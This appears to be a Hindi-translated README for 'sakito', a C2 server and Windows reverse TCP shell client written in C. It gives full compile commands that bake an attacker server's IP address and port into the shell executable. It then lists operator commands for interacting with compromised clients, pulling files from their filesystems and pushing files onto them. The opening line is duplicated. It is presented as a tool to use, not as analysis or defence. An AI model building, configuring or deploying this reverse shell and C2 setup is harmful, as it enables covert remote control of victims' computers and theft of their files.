
मल्टी-थ्रेडेड, मल्टी-ओएस/प्लेटफ़ॉर्म (लिनक्स/विंडोज) c2 सर्वर और विंडोज रिवर्स टीसीपी शेल क्लाइंट, दोनों सी में लिखे गए हैं।
मल्टी-थ्रेडेड, मल्टी-ओएस/प्लेटफ़ॉर्म (Linux/Windows) c2 सर्वर और Windows रिवर्स TCP शेल क्लाइंट दोनों C में लिखे गए हैं।
i686-w64-mingw32-gcc के साथ रिवर्स TCP शेल क्लाइंट को कंपाइल करना:
i686-w64-mingw32-gcc sakito_revshell.c lib/windows/sakito_win_core.c -o sakito_revshell.exe -s -ffunction-sections -fdata-sections -fno-exceptions -fmerge-all-constants -static-libgcc -lws2_32 -D PORT=<port_number> -D HOST=\"<server_ipv4_address>\"
डेवलपर कमांड प्रॉम्प्ट में cl.exe के साथ रिवर्स TCP शेल को कंपाइल करना:
cl.exe sakito_revshell.c lib/windows/sakito_win_core.c /D PORT=<port_number> /D HOST=\"<server_ipv4_address>\"
GCC के साथ Linux सर्वर को कंपाइल करना:
gcc -pthread sakito_server.c lib/sakito_server_tools.c lib/linux/sakito_slin_utils.c -o sakito_server -D PORT=<port_number>
डेवलपर कमांड प्रॉम्प्ट में cl.exe के साथ Windows सर्वर को कंपाइल करना:
cl.exe sakito_server.c lib/windows/sakito_win_core.c lib/sakito_server_tools.c lib/windows/sakito_swin_utils.c /D PORT=<port_number>
कमांड सूची:
list: उपलब्ध कनेक्शनों की सूची दिखाता है।
interact [id]: क्लाइंट के साथ इंटरैक्ट करें।
download [filename]: क्लाइंट के फाइलसिस्टम से सर्वर के फाइलसिस्टम में फ़ाइल डाउनलोड करें।
upload [filename]: सर्वर के फाइलसिस्टम से क्लाइंट के फाइलसिस्टम में फ़ाइल अपलोड करें।
background: क्लाइंट को बैकग्राउंड करें।
exit: क्लाइंट या होस्ट को समाप्त करें।
cd [dir]: क्लाइंट या होस्ट पर डायरेक्टरी बदलें।